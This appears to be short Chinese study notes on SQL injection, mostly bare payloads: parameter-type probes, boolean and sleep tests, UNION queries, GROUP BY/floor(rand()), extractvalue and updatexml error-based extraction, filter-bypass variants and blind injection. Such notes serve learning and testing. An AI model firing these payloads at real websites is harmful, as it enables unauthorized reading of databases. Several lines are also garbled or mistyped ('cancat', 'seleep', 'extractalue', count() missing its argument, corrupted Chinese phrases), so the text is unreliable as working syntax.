SQL注入
?id= 35 +1/-1
select * from tbName where id=$id
?id= 35’ 字符型 或者是数字型
select * from tbName where id=35’
报错信息有35就是字符型,没有35就是数字型
测试页面是否有布尔类型的状态
?id=35 and 1=1
?id=35 and 1=2
?id=35 and sleep(5) 是否延迟
联合查询 union select语句 两条select
select~~~~~~~ union select ~~~~~~
数据类型要相同 相同的列数
报错注入 在诸如点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中们就可进行报错注入
报错注入的原理,就是在显示西南西中进行SQL语句。
**公式:*group by报错:
?id = 33 and (select 1 from (select count(),cancat((select version() from information_schema.tables limit 0,1),floor(rand()*2)x from information_schema.tables group by x)a) --+
要查询的东西放到concat后面第一个参数,即from前面
报错注入:select concat(left(rand(),3),’^’,(select version()),’^’) as x,count(*) from information_schema.tables group by x;
如果关键表被禁用:
select concat(’’,version(),’’,floor(rand()2))x,count() from (select 1 union select null union select !1)a group by x;
如果rand count被禁用 可以采取以下方式
select min(@a:=1) from information_schema.tables group by concat (’’,@@version,’’,@a:=(@a+1)%2);
不依赖额外的函数和具体的表
select min(@a:=1) from(select 1 union select null union select !1)a group by concat(’’,@@version,’’,@a:=(@a+1)%2);
XPATH报错:
@ extractalue()
?id=33 and extractvalue(1,concat(’^’,(select version()),’^’)) --+
@ updatexml()
?id=33 and updatexml(1,concat(’^’,(select database()),’^’),1) --+
布尔盲注:
?id=33 and length(database())=1 --+
延时注入:
sleep()语句
if(=,seleep(~),1)
口诀(前提sql漏洞存在)
是否有回显 联合查询
没有回回显看是否有报错 报错输入
是否有布尔类型状态 布尔盲注
都没有 延时注入
造成SQL注入漏洞原因:
1、拼接
2、过滤